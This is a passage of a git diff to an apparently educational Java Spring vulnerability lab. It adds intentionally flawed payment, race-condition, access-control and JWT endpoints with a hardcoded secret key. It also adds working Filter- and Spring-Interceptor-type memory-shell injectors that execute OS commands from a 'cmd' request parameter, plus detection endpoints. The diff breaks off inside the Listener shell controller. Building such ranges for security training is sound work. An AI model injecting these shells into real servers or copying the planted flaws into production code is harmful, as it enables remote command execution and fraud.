System.currentTimeMillis() - captchaTimestamp > 60 * 1000) { session.removeAttribute("safeCaptcha"); diff --git a/src/main/java/top/whgojp/modules/logic/concurrent/controller/ConcurrentController.java b/src/main/java/top/whgojp/modules/logic/concurrent/controller/ConcurrentController.java new file mode 100644 index 0000000..3ea8248 --- /dev/null +++ b/src/main/java/top/whgojp/modules/logic/concurrent/controller/ConcurrentController.java @@ -0,0 +1,85 @@ +package top.whgojp.modules.logic.concurrent.controller; + +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.CrossOrigin; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import top.whgojp.common.utils.R; + +import java.math.BigDecimal; +import java.util.Set; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.atomic.AtomicReference; + +/** + * @description 逻辑漏洞-并发安全 + * @author: whgojp + * @email: whgojp@foxmail.com + * @Date: 2026/5/26 + */ +@Slf4j +@Api(value = "ConcurrentController", tags = "逻辑漏洞-并发安全") +@Controller +@CrossOrigin(origins = "*") +@RequestMapping("/logic/concurrent") +public class ConcurrentController { + private final AtomicReference userMoney = new AtomicReference<>(new BigDecimal("1000.00")); + private final Set paidOrders = ConcurrentHashMap.newKeySet(); + private final Object paymentLock = new Object(); + + @RequestMapping("") + public String concurrent() { + return "vul/logic/concurrent/concurrent"; + } + + @ApiOperation("漏洞场景:竞态条件重复支付") + @RequestMapping("/vul") + @ResponseBody + public R vul(@RequestParam String orderId, @RequestParam double amount) { + try { + Thread.sleep(1000); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + + BigDecimal currentMoney = userMoney.get(); + BigDecimal payAmount = BigDecimal.valueOf(amount); + if (currentMoney.compareTo(payAmount) < 0) { + return R.error("余额不足"); + } + userMoney.set(currentMoney.subtract(payAmount)); + return R.ok("支付成功!订单:" + orderId + ",剩余余额:" + userMoney.get()); + } + + @ApiOperation("安全场景:同步锁和幂等校验") + @RequestMapping("/safe") + @ResponseBody + public R safe(@RequestParam String orderId, @RequestParam double amount) { + BigDecimal payAmount = BigDecimal.valueOf(amount); + synchronized (paymentLock) { + if (paidOrders.contains(orderId)) { + return R.error("订单已支付,拒绝重复扣款:" + orderId); + } + BigDecimal currentMoney = userMoney.get(); + if (currentMoney.compareTo(payAmount) < 0) { + return R.error("余额不足"); + } + paidOrders.add(orderId); + userMoney.set(currentMoney.subtract(payAmount)); + return R.ok("支付成功!订单:" + orderId + ",剩余余额:" + userMoney.get()); + } + } + + @ApiOperation("重置并发安全测试数据") + @RequestMapping("/reset") + @ResponseBody + public R reset() { + userMoney.set(new BigDecimal("1000.00")); + paidOrders.clear(); + return R.ok("余额已重置为1000.00元,订单状态已清空"); + } +} diff --git a/src/main/java/top/whgojp/modules/logic/idor/controller/HorizontalController.java b/src/main/java/top/whgojp/modules/logic/idor/controller/HorizontalController.java index 7168d7d..3613c03 100644 --- a/src/main/java/top/whgojp/modules/logic/idor/controller/HorizontalController.java +++ b/src/main/java/top/whgojp/modules/logic/idor/controller/HorizontalController.java @@ -47,7 +47,7 @@ public R safe(String username){ // 获取当前登录的用户名 String currentUsername = SecurityContextHolder.getContext().getAuthentication().getName(); // 检查当前请求的用户名是否和登录用户名一致 - if (!username.equals(currentUsername)) { + if (username == null || !username.equals(currentUsername)) { return R.error("您没有权限查看该用户的资料,当前登录用户:"+currentUsername); } // 查询用户信息 diff --git a/src/main/java/top/whgojp/modules/logic/idor/controller/VerticalController.java b/src/main/java/top/whgojp/modules/logic/idor/controller/VerticalController.java index 552f963..49f406e 100644 --- a/src/main/java/top/whgojp/modules/logic/idor/controller/VerticalController.java +++ b/src/main/java/top/whgojp/modules/logic/idor/controller/VerticalController.java @@ -7,6 +7,7 @@ import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; import top.whgojp.common.utils.R; /** @@ -28,10 +29,18 @@ public String vertical() { @GetMapping("/vul") public String vul() { + // 漏洞点:只要知道管理员功能地址即可直接访问,没有做服务端角色校验。 + return "vul/logic/idor/admin"; + } + + @GetMapping("/safe") + @ResponseBody + public R safe() { String currentUsername = SecurityContextHolder.getContext().getAuthentication().getName(); if ("admin".equals(currentUsername)) { - return "/vul/logic/idor/admin"; - } else return "common/401"; + return R.ok("管理员权限校验通过"); + } + return R.error("当前用户无管理员权限:" + currentUsername); } } diff --git a/src/main/java/top/whgojp/modules/logic/pay/controller/PayController.java b/src/main/java/top/whgojp/modules/logic/pay/controller/PayController.java index 0abbb85..2a964c9 100644 --- a/src/main/java/top/whgojp/modules/logic/pay/controller/PayController.java +++ b/src/main/java/top/whgojp/modules/logic/pay/controller/PayController.java @@ -1,10 +1,228 @@ package top.whgojp.modules.logic.pay.controller; +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.CrossOrigin; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import top.whgojp.common.utils.R; + +import java.math.BigDecimal; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.atomic.AtomicReference; +import java.util.HashMap; + /** - * @description <功能描述> + * @description 逻辑漏洞-支付漏洞 * @author: whgojp * @email: whgojp@foxmail.com * @Date: 2024/8/28 22:07 */ +@Slf4j +@Api(value = "PayController", tags = "逻辑漏洞-支付漏洞") +@Controller +@CrossOrigin(origins = "*") +@RequestMapping("/logic/pay") public class PayController { + // 用户余额 + private final AtomicReference userMoney = new AtomicReference<>(new BigDecimal("1000.00")); + // 订单状态缓存 + private final Map orderStatusMap = new ConcurrentHashMap<>(); + // 支付状态缓存(用于防止重复支付) + private final Map paymentStatusMap = new ConcurrentHashMap<>(); + + @RequestMapping("") + public String pay() { + return "vul/logic/pay/pay"; + } + + /** + * 订单状态类 + */ + private static class OrderStatus { + BigDecimal amount; + boolean isPaid; + String orderId; + + public OrderStatus(String orderId, BigDecimal amount) { + this.orderId = orderId; + this.amount = amount; + this.isPaid = false; + } + } + + /** + * 漏洞场景1:支付金额参数篡改 + * 由于未对客户端传入的价格参数进行验证,攻击者可以修改支付金额 + */ + @ApiOperation("支付金额参数篡改漏洞") + @RequestMapping("/vul1") + @ResponseBody + public R vul1(@RequestParam String count, @RequestParam String price) { + try { + double totalPrice = Integer.parseInt(count) * Double.parseDouble(price); + log.info("用户需支付金额:" + totalPrice); + + // 直接使用客户端传入的价格,未与服务端商品实际价格进行校验 + BigDecimal currentMoney = userMoney.get(); + if (currentMoney.compareTo(BigDecimal.valueOf(totalPrice)) < 0) { + return R.error("支付金额不足,支付失败!"); + } + userMoney.set(currentMoney.subtract(BigDecimal.valueOf(totalPrice))); + return R.ok("支付成功!剩余余额:" + userMoney.get()); + } catch (Exception e) { + return R.error(e.toString()); + } + } + + /** + * 漏洞场景2:订单重放攻击 + * 由于未对订单是否重复支付进行验证,攻击者可以重复发送相同的支付请求 + */ + @ApiOperation("订单重放攻击漏洞") + @RequestMapping("/vul2") + @ResponseBody + public R vul2(@RequestParam String orderId, @RequestParam double amount) { + // 未检查订单是否已支付 + // 这里应该使用paymentStatusMap检查订单是否已支付,但为了演示漏洞,故意不检查 + BigDecimal currentMoney = userMoney.get(); + if (currentMoney.compareTo(BigDecimal.valueOf(amount)) < 0) { + return R.error("余额不足"); + } + userMoney.set(currentMoney.subtract(BigDecimal.valueOf(amount))); + return R.ok("支付成功!剩余余额:" + userMoney.get()); + } + + /** + * 漏洞场景3:竞态条件漏洞 + * 由于未正确处理并发支付请求,可能导致重复扣款或余额计算错误 + */ + @ApiOperation("竞态条件漏洞") + @RequestMapping("/vul3") + @ResponseBody + public R vul3(@RequestParam String orderId, @RequestParam double amount) { + // 模拟处理延迟 + try { + Thread.sleep(1000); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + + BigDecimal currentMoney = userMoney.get(); + if (currentMoney.compareTo(BigDecimal.valueOf(amount)) < 0) { + return R.error("余额不足"); + } + userMoney.set(currentMoney.subtract(BigDecimal.valueOf(amount))); + return R.ok("支付成功!剩余余额:" + userMoney.get()); + } + + /** + * 漏洞场景4:支付流程绕过 + * 由于状态校验不完整,攻击者可能绕过支付流程直接修改订单状态 + */ + @ApiOperation("支付流程绕过漏洞 - 创建订单") + @RequestMapping("/vul4/create") + @ResponseBody + public R createOrder(@RequestParam String orderId, @RequestParam double amount) { + OrderStatus status = new OrderStatus(orderId, BigDecimal.valueOf(amount)); + orderStatusMap.put(orderId, status); + Map data = new HashMap<>(); + data.put("orderId", orderId); + data.put("amount", amount); + return R.ok("订单创建成功").put("data", data); + } + + @ApiOperation("支付流程绕过漏洞 - 查询订单状态") + @RequestMapping("/vul4/status") + @ResponseBody + public R getOrderStatus(@RequestParam String orderId) { + OrderStatus status = orderStatusMap.get(orderId); + if (status == null) { + return R.error("订单不存在"); + } + Map data = new HashMap<>(); + data.put("orderId", status.orderId); + data.put("amount", status.amount); + data.put("isPaid", status.isPaid); + return R.ok().put("data", data); + } + + @ApiOperation("支付流程绕过漏洞 - 支付通知") + @RequestMapping("/vul4/notify") + @ResponseBody + public R paymentNotify(@RequestParam String orderId, @RequestParam boolean success) { + // 未验证通知来源,直接更新订单状态 + OrderStatus status = orderStatusMap.get(orderId); + if (status == null) { + return R.error("订单不存在"); + } + status.isPaid = success; + return R.ok("状态更新成功"); + } + + + /** + * 漏洞场景5:整数溢出漏洞 + * 当count或price数值过大时,可能会导致整数溢出 + */ + @ApiOperation("整数溢出漏洞") + @RequestMapping("/vul5") + @ResponseBody + public R integerOverflow(@RequestParam String count, @RequestParam String price) { + try { + Integer countValue = Integer.valueOf(count); + Integer priceValue = Integer.valueOf(price); + + // 整数溢出场景:当 count 或 price 数值过大时,可能会导致溢出 + int totalAmount = countValue * priceValue; + log.info("用户需支付金额:" + totalAmount); + + BigDecimal currentMoney = userMoney.get(); + if (currentMoney.compareTo(BigDecimal.valueOf(totalAmount)) < 0) { + return R.error("支付金额不足,支付失败!"); + } + userMoney.set(currentMoney.subtract(BigDecimal.valueOf(totalAmount))); + return R.ok("支付成功!剩余余额:" + userMoney.get()); + } catch (Exception e) { + return R.error("无效的输入,请输入有效的数量和价格!"); + } + } + + /** + * 漏洞场景6:浮点数精度漏洞 + * 由于未正确处理浮点数精度,可能导致金额计算不准确 + */ + @ApiOperation("浮点数精度漏洞") + @RequestMapping("/vul6") + @ResponseBody + public R floatingPointPrecision(@RequestParam String count, @RequestParam String price) { + try { + double totalAmount = Double.parseDouble(count) * Double.parseDouble(price); + // 漏洞点:把二进制浮点计算结果直接转成金额,可能引入精度误差 + BigDecimal amountValue = new BigDecimal(totalAmount); + log.info("用户需支付金额:" + amountValue); + + BigDecimal currentMoney = userMoney.get(); + if (currentMoney.compareTo(amountValue) < 0) { + return R.error("支付金额不足,支付失败!"); + } + userMoney.set(currentMoney.subtract(amountValue)); + return R.ok("支付成功!实际扣款金额:" + amountValue + ",剩余余额:" + userMoney.get()); + } catch (Exception e) { + return R.error("无效的输入,请输入有效的数量和价格!"); + } + } + + @ApiOperation("重置用户余额") + @RequestMapping("/resetBalance") + @ResponseBody + public R resetBalance() { + userMoney.set(new BigDecimal("1000.00")); + return R.ok("余额已重置为1000.00元"); + } } diff --git a/src/main/java/top/whgojp/modules/loginconfront/controller/AccountController.java b/src/main/java/top/whgojp/modules/loginconfront/controller/AccountController.java index 928cdd6..8665612 100644 --- a/src/main/java/top/whgojp/modules/loginconfront/controller/AccountController.java +++ b/src/main/java/top/whgojp/modules/loginconfront/controller/AccountController.java @@ -2,7 +2,6 @@ import io.swagger.annotations.Api; import lombok.extern.slf4j.Slf4j; -import org.apache.regexp.RE; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.RequestMapping; @@ -26,8 +25,8 @@ @RequestMapping("/loginconfront/account") public class AccountController { // 测试账号密码 - final Set REAL_USERNAMES = new HashSet<>(Arrays.asList("admin", "test", "12345", "root")); - final String REAL_PASSWORD = "admin123"; + private static final Set REAL_USERNAMES = new HashSet<>(Arrays.asList("admin", "test", "12345", "root")); + private static final String REAL_PASSWORD = "admin123"; @RequestMapping("") public String account() { @@ -37,6 +36,9 @@ public String account() { @RequestMapping("/vul1") @ResponseBody public R vul1(String username, String password) { + if (username == null || username.trim().isEmpty() || password == null) { + return R.error("用户名或密码不能为空!"); + } if (REAL_USERNAMES.contains(username)) { if (REAL_PASSWORD.equalsIgnoreCase(password)) { return R.ok("登录成功!用户名:" + username + ", 密码:" + password); @@ -51,6 +53,9 @@ public R vul1(String username, String password) { @RequestMapping("/vul2") @ResponseBody public R vul2(String username, String password) { + if (username == null || username.trim().isEmpty() || password == null) { + return R.error("用户名或密码不能为空!"); + } // 这里简单模拟下数据库查询操作 // User user = UserService.getAllByUsernameAndPassword(username,password) if ("admin".equalsIgnoreCase(username) && "admin".equalsIgnoreCase(password)) { diff --git a/src/main/java/top/whgojp/modules/loginconfront/controller/BypassController.java b/src/main/java/top/whgojp/modules/loginconfront/controller/BypassController.java index cfd4093..75ecdf3 100644 --- a/src/main/java/top/whgojp/modules/loginconfront/controller/BypassController.java +++ b/src/main/java/top/whgojp/modules/loginconfront/controller/BypassController.java @@ -2,11 +2,11 @@ import io.swagger.annotations.Api; import lombok.extern.slf4j.Slf4j; -import org.springframework.http.ResponseEntity; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.*; import top.whgojp.common.utils.R; +import javax.servlet.http.HttpSession; import java.util.*; /** @@ -32,12 +32,16 @@ public String reset() { } // 测试账号密码 - final String REAL_USERNAME = "admin"; - final String REAL_PASSWORD = "admin123"; + private static final String REAL_USERNAME = "admin"; + private static final String REAL_PASSWORD = "admin123"; + private static final String RESET_FLOW_DATA = "loginconfrontResetFlowData"; @PostMapping("/vul1step1") @ResponseBody public R vul1step1(String username, String password) { + if (username == null || username.trim().isEmpty() || password == null) { + return R.error("账号校验失败,请重试!"); + } if (REAL_USERNAME.equalsIgnoreCase(username) && REAL_PASSWORD.equalsIgnoreCase(password)) { return R.ok("账号校验通过,请稍等!"); } else { @@ -55,21 +59,18 @@ public R vul1step2(String code) { } } - - private final Map stepData = new HashMap<>(); - - private final String oladPass = "!@#qwf@3123"; + private static final String OLD_PASS = "!@#qwf@3123"; // step1:验证用户名 @PostMapping("/step1") @ResponseBody - public R vul2Step1(@RequestParam String username) { + public R vul2Step1(@RequestParam String username, HttpSession session) { try { log.info("用户名:" + username); - if (username.isEmpty()) { + if (username == null || username.trim().isEmpty()) { return R.error("用户名不能为空"); } - stepData.put(1, username); + flowData(session).put(1, username); return R.ok("用户名验证成功!"); } catch (Exception e) { return R.error("服务器错误,请稍后再试"); @@ -80,27 +81,39 @@ public R vul2Step1(@RequestParam String username) { // step2:验证旧密码 @PostMapping("/step2") @ResponseBody - public R vul2Step2(@RequestParam String oldPassword) { - if (oldPassword.isEmpty()) { + public R vul2Step2(@RequestParam String oldPassword, HttpSession session) { + if (oldPassword == null || oldPassword.isEmpty()) { return R.error("旧密码不能为空!"); } - if (!oladPass.equals(oldPassword)) { + if (!OLD_PASS.equals(oldPassword)) { return R.error("旧密码错误!"); } - stepData.put(2, oldPassword); + flowData(session).put(2, oldPassword); return R.ok("密码验证成功!"); } // step3:设置新密码 @PostMapping("/step3") @ResponseBody - public R vul2Step3(@RequestParam String newPassword) { - if (newPassword.length() < 6) { + public R vul2Step3(@RequestParam String newPassword, HttpSession session) { + if (newPassword == null || newPassword.length() < 6) { return R.error("密码长度必须大于6!"); } + Map stepData = flowData(session); stepData.put(3, newPassword); - System.out.println("表单数据: " + stepData); + log.info("密码重置流程数据: {}", stepData); return R.ok("密码重置成功!"); } + @SuppressWarnings("unchecked") + private Map flowData(HttpSession session) { + Object data = session.getAttribute(RESET_FLOW_DATA); + if (data instanceof Map) { + return (Map) data; + } + Map stepData = new HashMap<>(); + session.setAttribute(RESET_FLOW_DATA, stepData); + return stepData; + } + } diff --git a/src/main/java/top/whgojp/modules/loginconfront/controller/CredentialController.java b/src/main/java/top/whgojp/modules/loginconfront/controller/CredentialController.java index a8c5d91..daf50b7 100644 --- a/src/main/java/top/whgojp/modules/loginconfront/controller/CredentialController.java +++ b/src/main/java/top/whgojp/modules/loginconfront/controller/CredentialController.java @@ -1,12 +1,17 @@ package top.whgojp.modules.loginconfront.controller; +import io.jsonwebtoken.*; import io.swagger.annotations.Api; import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.CrossOrigin; -import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.*; import top.whgojp.common.utils.R; +import javax.crypto.spec.SecretKeySpec; +import java.nio.charset.StandardCharsets; +import java.security.Key; + /** * @description 登录对抗-凭证安全 * @author: whgojp @@ -24,9 +29,50 @@ public String credential() { return "vul/loginconfront/credential"; } + // 生成一个符合HS256要求的强密钥(至少256位) + @Value("${jwt.key}") + String secretKey = "f3a4c6d5b9bfeff28b1f529b0840134bcd4183474e2d4a97c05615a134e4f4da"; + +// Key key = Keys.secretKeyFor(SignatureAlgorithm.HS256); + + @GetMapping("/generate-jwt") + @ResponseBody + public R generateJWT(String username, String role) { + String jwt = Jwts.builder() + .setSubject(username) + .claim("role", role) + .signWith(jwtKey()) + .compact(); + log.info("生成的JWT: " + jwt); + return R.ok(jwt); + } + @RequestMapping("/vul1") - public R vul1() { - return R.ok(); + @ResponseBody + public R vul1(@RequestHeader(value = "Auth_Token", required = false) String jwt) { // 从请求头获取 JWT + if (jwt == null || jwt.trim().isEmpty()) { + return R.error("缺少Auth_Token请求头"); + } + log.info("获取到的JWT:" + jwt); + try { + String user = Jwts.parser() + .setSigningKey(jwtKey()) + .parseClaimsJws(jwt) + .getBody() + .getSubject(); + String role = Jwts.parserBuilder() + .setSigningKey(jwtKey()) + .build() + .parseClaimsJws(jwt) + .getBody() + .get("role", String.class); + + log.info("JWT解析成功,用户:" + user); + return R.ok("JWT解析成功,user:" + user+",role:"+role); + } catch (Exception e) { + log.info("JWT解析失败:" + e.getMessage()); + return R.error("JWT解析失败:" + e.getMessage()); + } } @RequestMapping("/vul2") @@ -34,4 +80,8 @@ public R vul2() { return R.ok(); } + private Key jwtKey() { + return new SecretKeySpec(secretKey.getBytes(StandardCharsets.UTF_8), SignatureAlgorithm.HS256.getJcaName()); + } + } diff --git a/src/main/java/top/whgojp/modules/mshell/controller/BaseMemShellController.java b/src/main/java/top/whgojp/modules/mshell/controller/BaseMemShellController.java new file mode 100644 index 0000000..08d4d22 --- /dev/null +++ b/src/main/java/top/whgojp/modules/mshell/controller/BaseMemShellController.java @@ -0,0 +1,47 @@ +package top.whgojp.modules.mshell.controller; + +import lombok.extern.slf4j.Slf4j; +import org.apache.catalina.Context; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; + +import javax.servlet.http.HttpServletRequest; +import java.lang.reflect.Field; + +/** + * 内存马基础控制器 + * 提供获取Context等通用方法 + * + * @author whgojp + * @date 2024/03/20 + */ +@Slf4j +public class BaseMemShellController { + + /** + * 获取Tomcat的Context对象 + * 通过反射获取内部的context字段 + * + * @return Tomcat的Context对象 + * @throws Exception 如果获取失败 + */ + protected Context getContext() throws Exception { + ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); + if (attributes == null) { + throw new RuntimeException("获取ServletRequestAttributes失败"); + } + + HttpServletRequest request = attributes.getRequest(); + // 获取包装的request对象 + Field requestField = request.getClass().getDeclaredField("request"); + requestField.setAccessible(true); + Object requestObject = requestField.get(request); + + // 获取内部的context字段 + Field contextField = requestObject.getClass().getDeclaredField("context"); + contextField.setAccessible(true); + Object contextObject = contextField.get(requestObject); + + return (Context) contextObject; + } +} diff --git a/src/main/java/top/whgojp/modules/mshell/controller/FilterMemShellController.java b/src/main/java/top/whgojp/modules/mshell/controller/FilterMemShellController.java new file mode 100644 index 0000000..b462222 --- /dev/null +++ b/src/main/java/top/whgojp/modules/mshell/controller/FilterMemShellController.java @@ -0,0 +1,144 @@ +package top.whgojp.modules.mshell.controller; + +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import io.swagger.annotations.ApiParam; +import lombok.extern.slf4j.Slf4j; +import org.apache.catalina.Context; +import org.apache.catalina.core.StandardContext; +import org.apache.tomcat.util.descriptor.web.FilterDef; +import org.apache.tomcat.util.descriptor.web.FilterMap; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; +import top.whgojp.common.utils.R; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.InputStream; + +/** + * Filter型内存马 + * 通过动态注册Filter实现命令执行 + * + * @author whgojp + * @date 2024/03/20 + */ +@Slf4j +@Api(tags = "Filter型内存马") +@Controller +@RequestMapping("/mshell/filter") +public class FilterMemShellController extends BaseMemShellController { + + @RequestMapping("") + public String index() { + return "vul/mshell/filter"; + } + + @ApiOperation("注入Filter型内存马") + @PostMapping("/inject") + @ResponseBody + public R inject( + @ApiParam("过滤器名称") @RequestParam(defaultValue = "evilFilter") String filterName, + @ApiParam("URL Pattern") @RequestParam(defaultValue = "/*") String urlPattern, + @ApiParam("命令参数名") @RequestParam(defaultValue = "cmd") String cmdParam) { + try { + Context context = getContext(); + if (context == null) { + return R.error("获取Context失败"); + } + + // 创建恶意Filter + Filter evilFilter = new Filter() { + @Override + public void init(FilterConfig filterConfig) {} + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) + throws IOException, ServletException { + HttpServletRequest req = (HttpServletRequest) request; + HttpServletResponse resp = (HttpServletResponse) response; + + String cmd = req.getParameter(cmdParam); + if (cmd != null) { + try { + Process process = Runtime.getRuntime().exec(cmd); + InputStream in = process.getInputStream(); + byte[] b = new byte[1024]; + int n; + while ((n = in.read(b)) != -1) { + resp.getOutputStream().write(b, 0, n); + } + resp.getOutputStream().flush(); + return; + } catch (IOException e) { + log.error("命令执行失败", e); + resp.getWriter().println("Error: " + e.getMessage()); + return; + } + } + chain.doFilter(request, response); + } + + @Override + public void destroy() {} + }; + + // 创建FilterDef + FilterDef filterDef = new FilterDef(); + filterDef.setFilterName(filterName); + filterDef.setFilterClass(evilFilter.getClass().getName()); + filterDef.setFilter(evilFilter); + + // 创建FilterMap + FilterMap filterMap = new FilterMap(); + filterMap.setFilterName(filterName); + filterMap.addURLPattern(urlPattern); + + // 注册Filter + StandardContext standardContext = (StandardContext) context; + standardContext.addFilterDef(filterDef); + standardContext.addFilterMap(filterMap); + + log.info("Filter型内存马注入成功,名称: {}, URL Pattern: {}, 命令参数: {}", + filterName, urlPattern, cmdParam); + return R.ok("内存马注入成功").put("data", String.format( + "Filter名称: %s\nURL Pattern: %s\n命令参数: %s", + filterName, urlPattern, cmdParam)); + } catch (Exception e) { + log.error("注入失败", e); + return R.error("注入失败:" + e.getMessage()); + } + } + + @ApiOperation("检测Filter型内存马") + @GetMapping("/detect") + @ResponseBody + public R detect() { + try { + Context context = getContext(); + if (context == null) { + return R.error("获取Context失败"); + } + + StringBuilder result = new StringBuilder(); + result.append("已注入的过滤器列表:\n"); + + // 获取所有Filter配置 + FilterDef[] filterDefs = ((StandardContext) context).findFilterDefs(); + for (FilterDef filterDef : filterDefs) { + result.append("- Filter名称: ").append(filterDef.getFilterName()) + .append("\n 类型: ").append(filterDef.getFilterClass()) + .append("\n 实例: ").append(filterDef.getFilter() != null ? + filterDef.getFilter().getClass().getName() : "未实例化") + .append("\n"); + } + + return R.ok().put("data", result.toString()); + } catch (Exception e) { + log.error("检测失败", e); + return R.error("检测失败:" + e.getMessage()); + } + } +} diff --git a/src/main/java/top/whgojp/modules/mshell/controller/InterceptorMemShellController.java b/src/main/java/top/whgojp/modules/mshell/controller/InterceptorMemShellController.java new file mode 100644 index 0000000..0011908 --- /dev/null +++ b/src/main/java/top/whgojp/modules/mshell/controller/InterceptorMemShellController.java @@ -0,0 +1,133 @@ +package top.whgojp.modules.mshell.controller; + +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import io.swagger.annotations.ApiParam; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; +import org.springframework.web.servlet.HandlerInterceptor; +import org.springframework.web.servlet.handler.MappedInterceptor; +import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; +import top.whgojp.common.utils.R; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.InputStream; +import java.lang.reflect.Field; +import java.util.List; + +/** + * Spring拦截器型内存马 + * 通过动态注册HandlerInterceptor实现命令执行 + * + * @author whgojp + * @date 2024/03/20 + */ +@Slf4j +@Api(tags = "Spring拦截器型内存马") +@Controller +@RequestMapping("/mshell/interceptor") +public class InterceptorMemShellController extends BaseMemShellController { + + @Autowired + private RequestMappingHandlerMapping handlerMapping; + + @RequestMapping("") + public String index() { + return "vul/mshell/interceptor"; + } + + @ApiOperation("注入Spring拦截器型内存马") + @PostMapping("/inject") + @ResponseBody + public R inject( + @ApiParam("拦截路径") @RequestParam(defaultValue = "/**") String pattern, + @ApiParam("命令参数名") @RequestParam(defaultValue = "cmd") String cmdParam) { + try { + // 创建恶意拦截器 + HandlerInterceptor evilInterceptor = new HandlerInterceptor() { + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) + throws Exception { + String cmd = request.getParameter(cmdParam); + if (cmd != null) { + try { + Process process = Runtime.getRuntime().exec(cmd); + InputStream in = process.getInputStream(); + byte[] b = new byte[1024]; + int n; + while ((n = in.read(b)) != -1) { + response.getOutputStream().write(b, 0, n); + } + response.getOutputStream().flush(); + return false; + } catch (IOException e) { + log.error("命令执行失败", e); + response.getWriter().println("Error: " + e.getMessage()); + return false; + } + } + return true; + } + }; + + // 通过反射获取adaptedInterceptors字段 + Field adaptedInterceptors = RequestMappingHandlerMapping.class.getDeclaredField("adaptedInterceptors"); + adaptedInterceptors.setAccessible(true); + @SuppressWarnings("unchecked") + List interceptors = (List) adaptedInterceptors.get(handlerMapping); + + // 创建MappedInterceptor并添加到列表中 + MappedInterceptor mappedInterceptor = new MappedInterceptor(new String[]{pattern}, evilInterceptor); + interceptors.add(mappedInterceptor); + + log.info("Spring拦截器型内存马注入成功,拦截路径: {}, 命令参数: {}", pattern, cmdParam); + return R.ok("内存马注入成功").put("data", "拦截路径: " + pattern + ", 命令参数: " + cmdParam); + } catch (Exception e) { + log.error("注入失败", e); + return R.error("注入失败:" + e.getMessage()); + } + } + + @ApiOperation("检测Spring拦截器型内存马") + @GetMapping("/detect") + @ResponseBody + public R detect() { + try { + StringBuilder result = new StringBuilder(); + result.append("已注入的拦截器列表:\n"); + + // 通过反射获取adaptedInterceptors字段 + Field adaptedInterceptors = RequestMappingHandlerMapping.class.getDeclaredField("adaptedInterceptors"); + adaptedInterceptors.setAccessible(true); + @SuppressWarnings("unchecked") + List interceptors = (List) adaptedInterceptors.get(handlerMapping); + + // 获取所有拦截器信息 + for (Object interceptor : interceptors) { + if (interceptor instanceof MappedInterceptor) { + MappedInterceptor mappedInterceptor = (MappedInterceptor) interceptor; + result.append("- MappedInterceptor: ") + .append(mappedInterceptor.getClass().getName()) + .append("\n 路径模式: ") + .append(String.join(", ", mappedInterceptor.getPathPatterns())) + .append("\n 拦截器类型: ") + .append(mappedInterceptor.getInterceptor().getClass().getName()) + .append("\n"); + } else { + result.append("- ") + .append(interceptor.getClass().getName()) + .append("\n"); + } + } + + return R.ok().put("data", result.toString()); + } catch (Exception e) { + log.error("检测失败", e); + return R.error("检测失败:" + e.getMessage()); + } + } +} diff --git a/src/main/java/top/whgojp/modules/mshell/controller/ListenerMemShellController.java b/src/main/java/top/whgojp/modules/mshell/controller/ListenerMemShellController.java new file mode 100644 index 0000000..2f49e7c --- /dev/null +++ b/src/main/java/top/whgojp/modules/mshell/controller/ListenerMemShellController.java @@ -0,0 +1,139 @@ +package top.whgojp.modules.mshell.controller; + +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import io.swagger.annotations.ApiParam; +import lombok.extern.slf4j.Slf4j; +import org.apache.catalina.Context; +import org.apache.catalina.core.StandardContext; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; +import top.whgojp.common.utils.R; + +import javax.servlet.ServletContextEvent; +import javax.servlet.ServletContextListener; +import java.io.IOException; +import java.io.InputStream; +import java.lang.reflect.Field; +import java.util.ArrayList; +import java.util.List; + +/** + * Listener型内存马 + * 通过动态注册ServletContextListener实现命令执行 + * + * @author whgojp + * @date 2024/03/20 + */ +@Slf4j +@Api(tags = "Listener型内存马") +@Controller +@RequestMapping("/mshell/listener") +public class ListenerMemShellController extends BaseMemShellController { + + @RequestMapping("") + public String index() { + return "vul/mshell/listener"; + } + + @ApiOperation("注入Listener型内存马") + @PostMapping("/inject") + @ResponseBody + public R inject( + @ApiParam("监听器名称") @RequestParam(defaultValue = "evilListener") String listenerName, + @ApiParam("命令参数名") @RequestParam(defaultValue = "cmd") String cmdParam) { + try { + Context context = getContext(); + if (context == null) { + return R.error("获取Context失败"); + } + + // 创建恶意Listener 